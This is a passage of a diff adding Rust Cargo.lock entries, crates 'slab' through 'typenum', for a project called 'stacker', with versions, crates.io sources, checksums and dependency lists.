"bytecount", + "cargo_metadata", + "error-chain", + "glob", + "pulldown-cmark", + "tempfile", + "walkdir", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "slog" +version = "2.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b3b8565691b22d2bdfc066426ed48f837fc0c5f2c8cad8d9718f7f99d6995c1" +dependencies = [ + "anyhow", + "erased-serde", + "rustversion", + "serde_core", +] + +[[package]] +name = "slog-async" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72c8038f898a2c79507940990f05386455b3a317d8f18d4caea7cbc3d5096b84" +dependencies = [ + "crossbeam-channel", + "slog", + "take_mut", + "thread_local", +] + +[[package]] +name = "slog-term" +version = "2.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cb1fc680b38eed6fad4c02b3871c09d2c81db8c96aa4e9c0a34904c830f09b5" +dependencies = [ + "chrono", + "is-terminal", + "slog", + "term", + "thread_local", + "time", +] + +[[package]] +name = "slug" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "882a80f72ee45de3cc9a5afeb2da0331d58df69e4e7d8eeb5d3c7784ae67e724" +dependencies = [ + "deunicode", + "wasm-bindgen", +] + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" +dependencies = [ + "serde", +] + +[[package]] +name = "smart-default" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eb01866308440fc64d6c44d9e86c5cc17adfe33c4d6eed55da9145044d0ffc1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "smartstring" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fb72c633efbaa2dd666986505016c32c3044395ceaf881518399d2f4127ee29" +dependencies = [ + "autocfg", + "serde", + "static_assertions", + "version_check", +] + +[[package]] +name = "smawk" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c388c1b5e93756d0c740965c41e8822f866621d41acbdf6336a6a168f8840c" + +[[package]] +name = "socket2" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "socket2" +version = "0.5.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "socket2" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "spin" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der 0.7.10", +] + +[[package]] +name = "spki" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d9efca8738c78ee9484207732f728b1ef517bbb1833d6fc0879ca898a522f6f" +dependencies = [ + "base64ct", + "der 0.8.0", +] + +[[package]] +name = "sqlx" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fefb893899429669dcdd979aff487bd78f4064e5e7907e4269081e0ef7d97dc" +dependencies = [ + "sqlx-core", + "sqlx-macros", + "sqlx-mysql", + "sqlx-postgres", + "sqlx-sqlite", +] + +[[package]] +name = "sqlx-adapter" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a88e13f5aaf770420184c9e2955345f157953fb7ed9f26df59a4a0664478daf" +dependencies = [ + "async-trait", + "casbin", + "dotenvy", + "sqlx", +] + +[[package]] +name = "sqlx-core" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee6798b1838b6a0f69c007c133b8df5866302197e404e8b6ee8ed3e3a5e68dc6" +dependencies = [ + "base64 0.22.1", + "bytes", + "chrono", + "crc", + "crossbeam-queue", + "either", + "event-listener 5.4.1", + "futures-core", + "futures-intrusive", + "futures-io", + "futures-util", + "hashbrown 0.15.5", + "hashlink 0.10.0", + "indexmap 2.14.0", + "ipnetwork", + "log", + "memchr", + "native-tls", + "once_cell", + "percent-encoding", + "rustls 0.23.37", + "serde", + "serde_json", + "sha2 0.10.9", + "smallvec", + "thiserror 2.0.18", + "tokio", + "tokio-stream", + "tracing", + "url", + "uuid", + "webpki-roots 0.26.11", +] + +[[package]] +name = "sqlx-macros" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2d452988ccaacfbf5e0bdbc348fb91d7c8af5bee192173ac3636b5fb6e6715d" +dependencies = [ + "proc-macro2", + "quote", + "sqlx-core", + "sqlx-macros-core", + "syn 2.0.117", +] + +[[package]] +name = "sqlx-macros-core" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19a9c1841124ac5a61741f96e1d9e2ec77424bf323962dd894bdb93f37d5219b" +dependencies = [ + "dotenvy", + "either", + "heck", + "hex", + "once_cell", + "proc-macro2", + "quote", + "serde", + "serde_json", + "sha2 0.10.9", + "sqlx-core", + "sqlx-mysql", + "sqlx-postgres", + "sqlx-sqlite", + "syn 2.0.117", + "tokio", + "url", +] + +[[package]] +name = "sqlx-mysql" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa003f0038df784eb8fecbbac13affe3da23b45194bd57dba231c8f48199c526" +dependencies = [ + "atoi", + "base64 0.22.1", + "bitflags 2.11.0", + "byteorder", + "bytes", + "chrono", + "crc", + "digest 0.10.7", + "dotenvy", + "either", + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "generic-array 0.14.7", + "hex", + "hkdf", + "hmac", + "itoa", + "log", + "md-5", + "memchr", + "once_cell", + "percent-encoding", + "rand 0.8.5", + "rsa 0.9.10", + "serde", + "sha1 0.10.6", + "sha2 0.10.9", + "smallvec", + "sqlx-core", + "stringprep", + "thiserror 2.0.18", + "tracing", + "uuid", + "whoami", +] + +[[package]] +name = "sqlx-postgres" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db58fcd5a53cf07c184b154801ff91347e4c30d17a3562a635ff028ad5deda46" +dependencies = [ + "atoi", + "base64 0.22.1", + "bitflags 2.11.0", + "byteorder", + "chrono", + "crc", + "dotenvy", + "etcetera", + "futures-channel", + "futures-core", + "futures-util", + "hex", + "hkdf", + "hmac", + "home", + "ipnetwork", + "itoa", + "log", + "md-5", + "memchr", + "once_cell", + "rand 0.8.5", + "serde", + "serde_json", + "sha2 0.10.9", + "smallvec", + "sqlx-core", + "stringprep", + "thiserror 2.0.18", + "tracing", + "uuid", + "whoami", +] + +[[package]] +name = "sqlx-sqlite" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2d12fe70b2c1b4401038055f90f151b78208de1f9f89a7dbfd41587a10c3eea" +dependencies = [ + "atoi", + "chrono", + "flume", + "futures-channel", + "futures-core", + "futures-executor", + "futures-intrusive", + "futures-util", + "libsqlite3-sys", + "log", + "percent-encoding", + "serde", + "serde_urlencoded", + "sqlx-core", + "thiserror 2.0.18", + "tracing", + "url", + "uuid", +] + +[[package]] +name = "ssh-cipher" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f" +dependencies = [ + "aes", + "aes-gcm", + "cbc", + "chacha20", + "cipher", + "ctr", + "poly1305", + "ssh-encoding", + "subtle", +] + +[[package]] +name = "ssh-encoding" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15" +dependencies = [ + "base64ct", + "bytes", + "pem-rfc7468 0.7.0", + "sha2 0.10.9", +] + +[[package]] +name = "ssh-key" +version = "0.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3" +dependencies = [ + "ed25519-dalek", + "p256", + "p384", + "p521", + "rand_core 0.6.4", + "rsa 0.9.10", + "sec1", + "sha2 0.10.9", + "signature 2.2.0", + "ssh-cipher", + "ssh-encoding", + "subtle", + "zeroize", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "stacker" +version = "0.2.8" +dependencies = [ + "actix", + "actix-casbin-auth", + "actix-cors", + "actix-files", + "actix-http", + "actix-web", + "actix-web-actors", + "aes-gcm", + "anyhow", + "assert_cmd", + "async-trait", + "base64 0.22.1", + "brotli 3.5.0", + "casbin", + "chrono", + "clap", + "clap_complete", + "config", + "cucumber", + "deadpool-lapin", + "derive_builder 0.12.0", + "dialoguer", + "docker-compose-types", + "dotenvy", + "flate2", + "futures", + "futures-lite 2.6.1", + "futures-util", + "glob", + "hmac", + "indexmap 2.14.0", + "indicatif", + "lapin", + "lazy_static", + "mockito", + "pipe-adapter-mail", + "pipe-adapter-sdk", + "predicates", + "prometheus", + "prost", + "prost-types", + "rand 0.8.5", + "redis", + "regex", + "reqwest", + "russh", + "serde", + "serde_derive", + "serde_json", + "serde_path_to_error", + "serde_valid", + "serde_yaml", + "sha2 0.10.9", + "sqlx", + "sqlx-adapter", + "ssh-key", + "tar", + "tempfile", + "tera", + "thiserror 1.0.69", + "tokio", + "tokio-stream", + "tokio-tungstenite", + "tonic", + "tonic-build", + "tracing", + "tracing-actix-web", + "tracing-bunyan-formatter", + "tracing-log 0.1.4", + "tracing-subscriber", + "urlencoding", + "uuid", + "wiremock", + "zstd", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "stop-token" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af91f480ee899ab2d9f8435bfdfc14d08a5754bd9d3fef1f1a1c23336aad6c8b" +dependencies = [ + "async-channel 1.9.0", + "cfg-if", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "stringprep" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b4df3d392d81bd458a8a621b8bffbd2302a12ffe288a9d931670948749463b1" +dependencies = [ + "unicode-bidi", + "unicode-normalization", + "unicode-properties", +] + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "synthez" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d8a928f38f1bc873f28e0d2ba8298ad65374a6ac2241dabd297271531a736cd" +dependencies = [ + "syn 2.0.117", + "synthez-codegen", + "synthez-core", +] + +[[package]] +name = "synthez-codegen" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fb83b8df4238e11746984dfb3819b155cd270de0e25847f45abad56b3671047" +dependencies = [ + "syn 2.0.117", + "synthez-core", +] + +[[package]] +name = "synthez-core" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "906fba967105d822e7c7ed60477b5e76116724d33de68a585681fb253fc30d5c" +dependencies = [ + "proc-macro2", + "quote", + "sealed", + "syn 2.0.117", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation 0.9.4", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tagptr" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b2093cf4c8eb1e67749a6762251bc9cd836b6fc171623bd0a9d324d37af2417" + +[[package]] +name = "take_mut" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f764005d11ee5f36500a149ace24e00e3da98b0158b3e2d53a7495660d3f4d60" + +[[package]] +name = "tar" +version = "0.4.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22692a6476a21fa75fdfc11d452fda482af402c008cdbaf3476414e122040973" +dependencies = [ + "filetime", + "libc", + "xattr", +] + +[[package]] +name = "tcp-stream" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "495b0abdce3dc1f8fd27240651c9e68890c14e9d9c61527b1ce44d8a5a7bd3d5" +dependencies = [ + "cfg-if", + "p12-keystore", + "rustls-connector", + "rustls-pemfile 2.2.0", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand 2.4.1", + "getrandom 0.4.2", + "once_cell", + "rustix 1.1.4", + "windows-sys 0.61.2", +] + +[[package]] +name = "tera" +version = "1.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8004bca281f2d32df3bacd59bc67b312cb4c70cea46cbd79dbe8ac5ed206722" +dependencies = [ + "chrono", + "chrono-tz", + "globwalk", + "humansize", + "lazy_static", + "percent-encoding", + "pest", + "pest_derive", + "rand 0.8.5", + "regex", + "serde", + "serde_json", + "slug", + "unicode-segmentation", +] + +[[package]] +name = "term" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8c27177b12a6399ffc08b98f76f7c9a1f4fe9fc967c784c5a071fa8d93cf7e1" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "terminal_size" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "230a1b821ccbd75b185820a1f1ff7b14d21da1e442e22c0863ea5f08771a8874" +dependencies = [ + "rustix 1.1.4", + "windows-sys 0.61.2", +] + +[[package]] +name = "termtree" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f50febec83f5ee1df3015341d8bd429f2d1cc62bcba7ea2076759d315084683" + +[[package]] +name = "textwrap" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057" +dependencies = [ + "smawk", + "unicode-linebreak", + "unicode-width", +] + +[[package]] +name = "thin-vec" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da322882471314edc77fa5232c587bcb87c9df52bfd0d7d4826f8868ead61899" +dependencies = [ + "serde", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl 2.0.18", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "time" +version = "0.3.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743bd48c283afc0388f9b8827b976905fb217ad9e647fae3a379a9283c4def2c" +dependencies = [ + "deranged", + "itoa", + "num-conv", + "powerfmt", + "serde_core", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7694e1cfe791f8d31026952abf09c69ca6f6fa4e1a1229e18988f06a04a12dca" + +[[package]] +name = "time-macros" +version = "0.2.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e70e4c5a0e0a8a4823ad65dfe1a6930e4f4d756dcd9dd7939022b5e8c501215" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tls_codec" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de2e01245e2bb89d6f05801c564fa27624dbd7b1846859876c7dad82e90bf6b" +dependencies = [ + "tls_codec_derive", + "zeroize", +] + +[[package]] +name = "tls_codec_derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d2e76690929402faae40aebdda620a2c0e25dd6d3b9afe48867dfd95991f4bd" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tokio" +version = "1.51.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f66bf9585cda4b724d3e78ab34b73fb2bbaba9011b9bfdf69dc836382ea13b8c" +dependencies = [ + "bytes", + "libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2 0.6.3", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-executor-trait" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6278565f9fd60c2d205dfbc827e8bb1236c2b1a57148708e95861eff7a6b3bad" +dependencies = [ + "async-trait", + "executor-trait", + "tokio", +] + +[[package]] +name = "tokio-io-timeout" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bd86198d9ee903fedd2f9a2e72014287c0d9167e4ae43b5853007205dda1b76" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-macros" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-rustls" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "775e0c0f0adb3a2f22a00c4745d728b479985fc15ee7ca6a2608388c5569860f" +dependencies = [ + "rustls 0.22.4", + "rustls-pki-types", + "tokio", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls 0.23.37", + "tokio", +] + +[[package]] +name = "tokio-stream" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32da49809aab5c3bc678af03902d4ccddea2a87d028d86392a4b1560c6906c70" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c83b561d025642014097b66e6c1bb422783339e0909e4429cde4749d1990bc38" +dependencies = [ + "futures-util", + "log", + "native-tls", + "tokio", + "tokio-native-tls", + "tungstenite", +] + +[[package]] +name = "tokio-util" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ae9cec805b01e8fc3fd2fe289f89149a9b66dd16786abd8b19cfa7b48cb0098" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "tonic" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "76c4eb7a4e9ef9d4763600161f12f5070b92a578e1b634db88a6887844c91a13" +dependencies = [ + "async-stream", + "async-trait", + "axum", + "base64 0.21.7", + "bytes", + "h2 0.3.27", + "http 0.2.12", + "http-body 0.4.6", + "hyper 0.14.32", + "hyper-timeout", + "percent-encoding", + "pin-project", + "prost", + "rustls-pemfile 2.2.0", + "rustls-pki-types", + "tokio", + "tokio-rustls 0.25.0", + "tokio-stream", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tonic-build" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4ef6dd70a610078cb4e338a0f79d06bc759ff1b22d2120c2ff02ae264ba9c2" +dependencies = [ + "prettyplease", + "proc-macro2", + "prost-build", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "futures-core", + "futures-util", + "indexmap 1.9.3", + "pin-project", + "pin-project-lite", + "rand 0.8.5", + "slab", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-actix-web" +version = "0.7.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ca6b15407f9bfcb35f82d0e79e603e1629ece4e91cc6d9e58f890c184dd20af" +dependencies = [ + "actix-web", + "mutually_exclusive_features", + "pin-project", + "tracing", + "uuid", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tracing-bunyan-formatter" +version = "0.3.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d637245a0d8774bd48df6482e086c59a8b5348a910c3b0579354045a9d82411" +dependencies = [ + "ahash 0.8.12", + "gethostname", + "log", + "serde", + "serde_json", + "time", + "tracing", + "tracing-core", + "tracing-log 0.1.4", + "tracing-subscriber", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f751112709b4e791d8ce53e32c4ed2d353565a795ce84da2285393f41557bdf2" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log 0.2.0", +] + +[[package]] +name = "triomphe" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd69c5aa8f924c7519d6372789a74eac5b94fb0f8fcf0d4a97eb0bfc3e785f39" + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "tungstenite" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ef1a641ea34f399a848dea702823bbecfb4c486f911735368f1f137cb8257e1" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http 1.4.0", + "httparse", + "log", + "native-tls", + "rand 0.8.5", + "sha1 0.10.6", + "thiserror 1.0.69", + "url", + "utf-8", +] + +[[package]] +name = "typed-builder" +version = "0.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31aa81521b70f94402501d848ccc0ecaa8f93c8eb6999eb9747e72287757ffda" +dependencies = [ + "typed-builder-macro", +] + +[[package]] +name = "typed-builder-macro" +version = "0.23.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "076a02dc54dd46795c2e9c8282ed40bcfb1e22747e955de9389a1de28190fb26" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = 